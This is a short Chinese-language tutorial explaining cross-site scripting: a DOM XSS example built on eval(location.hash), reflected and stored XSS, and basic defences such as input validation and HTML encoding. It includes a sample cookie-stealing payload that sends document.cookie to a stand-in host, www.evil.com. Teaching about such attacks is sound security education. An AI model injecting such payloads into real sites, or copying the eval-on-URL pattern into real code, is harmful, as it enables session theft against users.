XSS发生在目标网站中目标用户的浏览器层面上,当用户浏览器渲染整个HTML文档的过程中就出现了不被预期的脚本执行。
跨站脚本的重点不是在“跨站”上,而应该在“脚本上”
简单例子:
在xss1.html页面上面有这么一段javascript
<script> eval(location.hash.substr(1)); </script>
当你在浏览器访问该xss1.html页面的时候,在url后面加上#alert('1') 如file:///C:/Users/Jie/Desktop/3.html#alert(1)
那么浏览器就会弹出这个1。
当然黑客是不会弹窗的,他会利用这个漏洞获取到你的cookie等有用的信息,如把#alert(1)替换成#document.write("<script src='www.evil.com/xss.js'></script>")
这个xss.js的代码是
new Image().src="http://www.evil.com/steal.aspx?data="+escape(document.cookie);
再在steal.aspx页面的后台获取data的值
你可能会问,谁这么SB在自己的页面写上那段javascript代码,首先要知道,这段代码不是开发人员在页面写的,而是后来被注入到页面的,怎么注入?这就要说到xss的攻击类型了
1、反射型
页面接受用户的输入,提交到服务器,服务器解析后在响应内容中含有这段xss代码,最后被浏览器解析执行。输入-》后台解析-》前台执行 这就是一个反射过程
比如:后台的代码获取xss.aspx?x=<script>alert(1)</script> url里面的x参数,然后直接在页面把这个x参数输出,那么这就是一个反射型的xss
2、存储型
因为现代的网页都是动态从数据库获取到数据然后生成html网页返回浏览器展示的,存储型的xss代码是直接存储在服务器里面了,当用户访问的这个有xss代码的页面时,攻击就发生了。这些xss代码一般是在获取用户输入的地方,没有做有效的防御,例如有个论坛,有黑客在留言板里面输入了一段含有xss攻击的留言,这个留言就存储到了后台数据库里面,当下一个用户查看这个留言板的时候。从后台返回的xss代码就能对该用户的信息作出攻击了。
3、DOM XSS
DOM XSS和反射型XSS、存储型XSS的差别在于 DOM XSS不需要经过服务器端的解析,触发xss靠的就是浏览器的DOM解析
例如本文开头提到的第一个例子就是DOM XSS
XSS的防御手段主要是:不信任用户的输入,校验用户的输入,对用户的输入输出都进行html编码。